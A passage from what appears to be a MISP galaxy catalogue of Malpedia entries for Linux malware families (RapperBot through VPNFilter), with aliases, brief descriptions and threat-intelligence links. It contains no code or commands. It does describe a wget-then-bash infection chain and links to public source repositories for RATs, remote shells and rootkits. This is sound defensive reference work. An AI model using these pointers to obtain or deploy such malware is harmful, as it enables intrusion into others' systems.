https://malpedia.caad.fkie.fraunhofer.de/details/elf.rapper_bot
https://www.fortinet.com/blog/threat-research/rapperbot-malware-discovery

RaspberryPiBotnet

The tag is: *misp-galaxy:malpedia="RaspberryPiBotnet"*

RaspberryPiBotnet is also known as:

Table 1278. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.raspberrypibotnet
https://kindredsec.com/2019/06/03/code-analysis-of-basic-cryptomining-malware/

rat_hodin

The tag is: *misp-galaxy:malpedia="rat_hodin"*

rat_hodin is also known as:

Table 1279. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rat_hodin
https://github.com/Thibault-69/RAT-Hodin-v2.5

rbs_srv

The tag is: *misp-galaxy:malpedia="rbs_srv"*

rbs_srv is also known as:

Table 1280. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rbs_srv
https://github.com/Thibault-69/Remote_Shell

RedXOR

The tag is: *misp-galaxy:malpedia="RedXOR"*

RedXOR is also known as:

Table 1281. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.redxor

https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/

RedAlert Ransomware

Ransomware that targets Linux VMware ESXi servers. Encryption procedure uses the NTRUEncrypt public-key encryption algorithm.

The tag is: *misp-galaxy:malpedia="RedAlert Ransomware"*

RedAlert Ransomware is also known as:

- N13V

Table 1282. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.red_alert
https://www.bleepingcomputer.com/news/security/new-redalert-ransomware-targets-windows-linux-vmware-esxi-servers/
https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/

Rekoobe

A Trojan for Linux intended to infect machines with the SPARC architecture and Intel x86, x86-64 computers. The Trojan’s configuration data is stored in a file encrypted with XOR algorithm

The tag is: *misp-galaxy:malpedia="Rekoobe"*

Rekoobe is also known as:

Table 1283. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rekoobe
https://www.intezer.com/blog/malware-analysis/elf-malware-analysis-101-part-3-advanced-analysis/
https://vms.drweb.com/virus/?i=7754026&lng=en
https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/
https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt
https://twitter.com/billyleonard/status/1458531997576572929
https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/
https://sansec.io/research/rekoobe-fishpig-magento

https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/
https://intezer.com/blog-linux-rekoobe-operating-with-new-undetected-malware-samples/

reptile

The tag is: *misp-galaxy:malpedia="reptile"*

reptile is also known as:

Table 1284. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.reptile
https://github.com/f0rb1dd3n/Reptile
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf

REvil (ELF)

ELF version of win.revil targeting VMware ESXi hypervisors.

The tag is: *misp-galaxy:malpedia="REvil (ELF)"*

REvil (ELF) is also known as:

- REvix

Table 1285. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.revil
https://github.com/f0wl/REconfig-linux
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo
https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment
https://www.bbc.com/news/technology-59297187
https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf
https://twitter.com/VK_Intel/status/1409601311092490248
https://www.youtube.com/watch?v=mDUMpYAOMOo
https://threatpost.com/linux-variant-ransomware-vmwares-nas/167511/

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil
https://home.treasury.gov/news/press-releases/jy0471
https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/
https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/
https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf
https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/
https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021
https://analyst1.com/file-assets/History-of-REvil.pdf
https://otx.alienvault.com/pulse/60da2c80aa5400db8f1561d5
https://angle.ankura.com/post/102hcny/revix-linux-ransomware
https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/
https://threatpost.com/ransomware-revil-sites-disappears/167745/
https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html
https://ke-la.com/will-the-revils-story-finally-be-over/
https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa
https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ
https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide
https://twitter.com/VK_Intel/status/1409601311092490248?s=20
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-revil
https://twitter.com/IntezerLabs/status/1452980772953071619
https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released
https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/
https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf
https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/
https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya
https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin
https://malienist.medium.com/revix-linux-ransomware-d736956150d0
https://cybersecurity.att.com/blogs/labs-research/revils-new-linux-version
https://www.flashpoint-intel.com/blog/revil-disappears-again/
https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html
https://www.youtube.com/watch?v=ptbNMlWxYnE
https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf
https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20
https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/
https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/

Rex

The tag is: *misp-galaxy:malpedia="Rex"*

Rex is also known as:

Table 1286. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rex
https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/

RHOMBUS

The tag is: *misp-galaxy:malpedia="RHOMBUS"*

RHOMBUS is also known as:

Table 1287. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rhombus
https://old.reddit.com/r/LinuxMalware/comments/fh3zar/memo_rhombus_an_elf_bot_installerdropper/

Roboto

P2P Botnet discovered by Netlab360. The botnet infects linux servers via the Webmin RCE vulnerability (CVE-2019-15107) which allows attackers to run malicious code with root privileges and take over older Webmin versions. Based on the Netlabs360 analysis, the botnet serves mainly 7 functions: reverse shell, self-uninstall, gather process' network information, gather Bot information, execute system commands, run encrypted files specified in URLs and four DDoS attack methods: ICMP Flood, HTTP Flood, TCP Flood, and UDP Flood.

The tag is: *misp-galaxy:malpedia="Roboto"*

Roboto is also known as:

Table 1288. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.roboto
https://www.zdnet.com/article/new-roboto-botnet-emerges-targeting-linux-servers-running-webmin
https://blog.netlab.360.com/the-awaiting-roboto-botnet-en

RotaJakiro

RotaJakiro is a stealthy Linux backdoor which remained undetected between 2018 and 2021. The malware uses rotating encryption to encrypt the resource information within the sample, and C2 communication, using a combination of AES, XOR, ROTATE encryption and ZLIB compression.

The tag is: *misp-galaxy:malpedia="RotaJakiro"*

RotaJakiro is also known as:

Table 1289. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rotajakiro
https://www.domaintools.com/resources/blog/domaintools-and-digital-archeology-a-look-at-rotajakiro
https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/
https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/

Rshell

The tag is: *misp-galaxy:malpedia="Rshell"*

Rshell is also known as:

Table 1290. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rshell
https://www.trendmicro.com/en_us/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html

Satori

Satori is a variation of elf.mirai which was first detected around 2017-11-27 by 360 Netlab. It uses exploit to exhibit worm-like behaviour to spread over ports 37215 and 52869 (CVE-2014-8361).

The tag is: *misp-galaxy:malpedia="Satori"*

Satori is also known as:

Table 1291. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.satori
http://blog.netlab.360.com/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address-en/
http://www.eweek.com/security/collaborative-takedown-kills-iot-worm-satori
https://unit42.paloaltonetworks.com/satori-mirai-botnet-variant-targeting-vantage-velocity-field-unit-rce-vulnerability/
https://krebsonsecurity.com/2018/09/alleged-satori-iot-botnet-operator-sought-media-spotlight-got-indicted/
http://blog.netlab.360.com/warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869-en/
https://blog.radware.com/security/botnets/2018/02/new-satori-botnet-variant-enslaves-thousands-dasan-wifi-routers/
https://www.arbornetworks.com/blog/asert/the-arc-of-satori/

SBIDIOT

The tag is: *misp-galaxy:malpedia="SBIDIOT"*

SBIDIOT is also known as:

Table 1292. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sbidiot
https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/
https://www.nozominetworks.com/blog/threat-intelligence-analysis-of-the-sbidiot-iot-malware/
https://brianstadnicki.github.io/posts/malware-sbidiot-dec2021/

ShellBind

The tag is: *misp-galaxy:malpedia="ShellBind"*

ShellBind is also known as:

Table 1293. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.shellbind
http://blog.trendmicro.com/trendlabs-security-intelligence/linux-users-urged-update-new-threat-exploits-sambacry

Shishiga

The tag is: *misp-galaxy:malpedia="Shishiga"*

Shishiga is also known as:

Table 1294. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.shishiga
https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/

SideWalk (ELF)

The tag is: *misp-galaxy:malpedia="SideWalk (ELF)"*

SideWalk (ELF) is also known as:

Table 1295. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sidewalk
https://www.welivesecurity.com/2022/09/14/you-never-walk-alone-sidewalk-backdoor-linux-variant/

Silex

The tag is: *misp-galaxy:malpedia="Silex"*

Silex is also known as:

- silexbot

Table 1296. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.silex
https://www.bleepingcomputer.com/news/security/new-silex-malware-trashes-iot-devices-using-default-passwords/

SLAPSTICK

According to FireEye, SLAPSTICK is a Solaris PAM backdoor that grants a user access to the system with a secret, hard-coded password.

The tag is: *misp-galaxy:malpedia="SLAPSTICK"*

SLAPSTICK is also known as:

Table 1297. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.slapstick
https://www.fireeye.com/blog/threat-research/2020/11/live-off-the-land-an-overview-of-unc1945.html
https://www.mandiant.com/resources/unc2891-overview

SoWaT

This is an implant used by APT31 on home routers to utilize them as ORBs.

The tag is: *misp-galaxy:malpedia="SoWaT"*

SoWaT is also known as:

Table 1298. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sowat
https://twitter.com/bkMSFT/status/1417823714922610689
https://twitter.com/billyleonard/status/1417910729005490177
https://www.cert.ssi.gouv.fr/ioc/CERTFR-2021-IOC-003

https://imp0rtp3.wordpress.com/2021/11/25/sowat/

Spamtorte

The tag is: *misp-galaxy:malpedia="Spamtorte"*

Spamtorte is also known as:

Table 1299. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.spamtorte
https://cis.verint.com/2016/11/08/spamtorte-version-2/

SpeakUp

The tag is: *misp-galaxy:malpedia="SpeakUp"*

SpeakUp is also known as:

Table 1300. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.speakup
https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/

Specter

The tag is: *misp-galaxy:malpedia="Specter"*

Specter is also known as:

Table 1301. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.specter
https://blog.netlab.360.com/the-pitfall-of-threat-intelligence-whitelisting-specter-botnet-is-taking-over-top-legit-dns-domains-by-using-cloudns-service/
https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/

Speculoos

The tag is: *misp-galaxy:malpedia="Speculoos"*

Speculoos is also known as:

Table 1302. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.speculoos
https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html
https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/
https://www.secureworks.com/research/threat-profiles/bronze-atlas

SSHDoor

The tag is: *misp-galaxy:malpedia="SSHDoor"*

SSHDoor is also known as:

Table 1303. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sshdoor
https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/
http://contagiodump.blogspot.com/2013/02/linux-sshdoor-sample.html

Stantinko

The tag is: *misp-galaxy:malpedia="Stantinko"*

Stantinko is also known as:

Table 1304. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.stantinko
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.welivesecurity.com/2020/03/19/stantinko-new-cryptominer-unique-obfuscation-techniques/
https://www.intezer.com/blog/research/stantinkos-proxy-after-your-apache-server/
https://www.welivesecurity.com/2020/08/07/stadeo-deobfuscating-stantinko-and-more/
https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/
https://www.welivesecurity.com/2019/11/26/stantinko-botnet-adds-cryptomining-criminal-activities/

STEELCORGI

According to FireEye, STEELCORGI is a packer for Linux ELF files that makes use of execution guardrails by sourcing decryption key material from environment variables.

The tag is: *misp-galaxy:malpedia="STEELCORGI"*

STEELCORGI is also known as:

Table 1305. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.steelcorgi
https://yoroi.company/research/opening-steelcorgi-a-sophisticated-apt-swiss-army-knife/
https://www.fireeye.com/blog/threat-research/2020/11/live-off-the-land-an-overview-of-unc1945.html
https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/
https://www.mandiant.com/resources/unc2891-overview

Sunless

The tag is: *misp-galaxy:malpedia="Sunless"*

Sunless is also known as:

Table 1306. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sunless
https://www.securityartwork.es/2019/01/09/analisis-de-linux-sunless/

sustes miner

Sustes Malware doesn't infect victims by itself (it's not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software.

The tag is: *misp-galaxy:malpedia="sustes miner"*

sustes miner is also known as:

Table 1307. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sustes

https://marcoramilli.com/2018/09/20/sustes-malware-cpu-for-monero/

Suterusu

The tag is: *misp-galaxy:malpedia="Suterusu"*

Suterusu is also known as:

- HCRootkit

Table 1308. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.suterusu
https://www.lacework.com/blog/hcrootkit-sutersu-linux-rootkit-analysis/

Symbiote

A malware capable of capturing credentials and enabling backdoor access, implemented as a userland rootkit. It uses three methods for hiding its network activity, by hooking and hijacking 1) fopen/fopen64, 2) eBPF, 3) a set of libpcap functions.

The tag is: *misp-galaxy:malpedia="Symbiote"*

Symbiote is also known as:

Table 1309. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.symbiote
https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat
https://cybergeeks.tech/how-to-analyze-linux-malware-a-case-study-of-symbiote/
https://cybergeeks.tech/how-to-analyze-linux-malware-a-case-study-of-symbiote
https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/

SysJoker (ELF)

The tag is: *misp-galaxy:malpedia="SysJoker (ELF)"*

SysJoker (ELF) is also known as:

Table 1310. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sysjoker
https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/

https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/
https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html

Sysrv-hello (ELF)

Cryptojacking botnet

The tag is: *misp-galaxy:malpedia="Sysrv-hello (ELF)"*

Sysrv-hello (ELF) is also known as:

- Sysrv

Table 1311. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sysrvhello
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://www.riskiq.com/blog/external-threat-management/sysrv-hello-cryptojacking-botnet/
https://www.lacework.com/sysrv-hello-expands-infrastructure/
https://darktrace.com/blog/worm-like-propagation-of-sysrv-hello-crypto-jacking-botnet

TeamTNT

Since Fall 2019, Team TNT is a well known threat actor which targets *nix based systems and misconfigured Docker container environments. It has constantly evolved its capabilities for its cloud-based cryptojacking operations. They have shifted their focus on compromising Kubernetes Clusters.

The tag is: *misp-galaxy:malpedia="TeamTNT"*

TeamTNT is also known as:

Table 1312. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.teamtnt
https://www.trendmicro.com/en_ae/research/21/k/teamtnt-upgrades-arsenal-refines-focus-on-kubernetes-and-gpu-env.html
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://unit42.paloaltonetworks.com/atoms/thieflibra/
https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf

https://www.cadosecurity.com/post/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials
https://www.cadosecurity.com/teamtnt-script-employed-to-grab-aws-credentials/
https://www.trendmicro.com/en_us/research/21/l/more-tools-in-the-arsenal-how-teamtnt-used-compromised-docker-hu.html
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://blog.aquasec.com/teamtnt-campaign-against-docker-kubernetes-environment
https://www.anomali.com/blog/inside-teamtnts-impressive-arsenal-a-look-into-a-teamtnt-server
https://unit42.paloaltonetworks.com/atoms/adept-libra/
https://www.cadosecurity.com/2020/08/17/teamtnt-the-first-crypto-mining-worm-to-steal-aws-credentials/
https://www.intezer.com/blog/malware-analysis/teamtnt-cryptomining-explosion/
https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera
https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/
https://sysdig.com/blog/teamtnt-aws-credentials/
https://tolisec.com/active-crypto-mining-operation-by-teamtnt/
https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf
https://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool
https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked
https://www.uptycs.com/blog/team-tnt-deploys-malicious-docker-image-on-docker-hub-with-pentesting-tools
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/

TheMoon

The tag is: *misp-galaxy:malpedia="TheMoon"*

TheMoon is also known as:

Table 1313. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.themoon
https://www.fortinet.com/blog/threat-research/themoon-a-p2p-botnet-targeting-home-routers
https://www.sans.org/reading-room/whitepapers/malicious/analyzing-backdoor-bot-mips-platform-35902

TNTbotinger

The tag is: *misp-galaxy:malpedia="TNTbotinger"*

TNTbotinger is also known as:

Table 1314. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.tntbotinger
https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html
https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/

Torii

The tag is: *misp-galaxy:malpedia="Torii"*

Torii is also known as:

Table 1315. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.torii
https://blog.avast.com/new-torii-botnet-threat-research

Trump Bot

The tag is: *misp-galaxy:malpedia="Trump Bot"*

Trump Bot is also known as:

Table 1316. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.trump_bot
http://paper.seebug.org/345/

TSCookie

The tag is: *misp-galaxy:malpedia="TSCookie"*

TSCookie is also known as:

Table 1317. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.tscookie
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

https://twitter.com/ESETresearch/status/1382054011264700416
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape
https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf
https://www.macnica.net/file/mpressioncss_ta_report_2019_4.pdf
https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020
https://blogs.jpcert.or.jp/en/2020/03/elf-tscookie.html
https://www.macnica.net/pdf/mpressioncss_ta_report_2019_4_en.pdf
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf

tsh

The tag is: *misp-galaxy:malpedia="tsh"*

tsh is also known as:

Table 1318. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsh
https://github.com/creaktive/tsh

Tsunami (ELF)

The tag is: *misp-galaxy:malpedia="Tsunami (ELF)"*

Tsunami (ELF) is also known as:

- Amnesia
- Muhstik
- Radiation

Table 1319. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf

https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039
https://www.cadosecurity.com/teamtnt-script-employed-to-grab-aws-credentials/
https://sysdig.com/blog/muhstik-malware-botnet-analysis/
https://www.lacework.com/meet-muhstik-iot-botnet-infecting-cloud-servers/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks
https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/
https://blog.aquasec.com/new-malware-in-the-cloud-by-teamtnt
https://www.fortinet.com/blog/threat-research/recent-attack-uses-vulnerability-on-confluence-server
https://www.lacework.com/blog/muhstik-takes-aim-at-confluence-cve-2021-26084/
https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/
https://blog.aquasec.com/fileless-malware-container-security
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
https://tolisec.com/multi-vector-minertsunami-botnet-with-ssh-lateral-movement/
https://blog.aquasec.com/8220-gang-confluence-vulnerability-cve-2022-26134
https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775
https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/
https://blogs.juniper.net/en-us/security/muhstik-gang-targets-redis-servers
http://get.cyberx-labs.com/radiation-report
https://threatpost.com/muhstik-botnet-exploits-highly-critical-drupal-bug/131360/

Turla RAT

The tag is: *misp-galaxy:malpedia="Turla RAT"*

Turla RAT is also known as:

Table 1320. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.turla_rat

Umbreon

The tag is: *misp-galaxy:malpedia="Umbreon"*

Umbreon is also known as:

- Espeon

Table 1321. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.umbreon
http://contagiodump.blogspot.com/2018/03/rootkit-umbreon-umreon-x86-arm-samples.html
http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/

Unidentified Linux 001

According to Cybereason, these scripts have been used in an ongoing campaign exploiting a widespread vulnerability in the Exim MTA: CVE-2019-10149. This attack leverages a week-old vulnerability to gain remote command execution on the target machine, search the Internet for other machines to infect, and initiates a crypto miner.

The tag is: *misp-galaxy:malpedia="Unidentified Linux 001"*

Unidentified Linux 001 is also known as:

Table 1322. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.unidentified_001
https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability

Unidentified ELF 004

Implant used by APT31 on compromised SOHO infrastructure, tries to camouflage as a tool ("unifi-video") related to Ubiquiti UniFi surveillance cameras.

The tag is: *misp-galaxy:malpedia="Unidentified ELF 004"*

Unidentified ELF 004 is also known as:

Table 1323. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.unidentified_004
https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/

Unidentified 005 (Sidecopy)

The tag is: *misp-galaxy:malpedia="Unidentified 005 (Sidecopy)"*

Unidentified 005 (Sidecopy) is also known as:

Table 1324. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.unidentified_005
https://ti.qianxin.com/blog/articles/SideCopy's-Golang-based-Linux-tool/

Unidentified ELF 006 (Tox Backdoor)

Enables remote execution of scripts on a host, communicates via Tox.

The tag is: *misp-galaxy:malpedia="Unidentified ELF 006 (Tox Backdoor)"*

Unidentified ELF 006 (Tox Backdoor) is also known as:

Table 1325. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.unidentified_006
https://www.uptycs.com/blog/is-tox-the-new-cc-method-for-coinminers

Vermilion Strike (ELF)

The tag is: *misp-galaxy:malpedia="Vermilion Strike (ELF)"*

Vermilion Strike (ELF) is also known as:

Table 1326. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.vermilion_strike
https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://notes.netbytesec.com/2021/09/discovering-linux-elf-beacon-of-cobalt_18.html

VPNFilter

The tag is: *misp-galaxy:malpedia="VPNFilter"*

VPNFilter is also known as:

Table 1327. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.vpnfilter

https://blog.talosintelligence.com/2022/02/current-executive-guidance-for-ongoing.html
https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter
https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/
https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m=1
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-054A%20New%20Sandworm%20Malware%20Cyclops%20Blink%20Replaces%20VPN%20Filter.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-110a
https://blog.trendmicro.com/trendlabs-security-intelligence/vpnfilter-affected-devices-still-riddled-with-19-vulnerabilities
https://securelist.com/vpnfilter-exif-to-c2-mechanism-analysed/85721/
https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/
https://blog.talosintelligence.com/2018/05/VPNFilter.html
https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected
https://blog.talosintelligence.com/2022/02/threat-advisory-cyclops-blink.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-054a
https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-VPN-Filter-analysis-v2.pdf?la=en
https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html
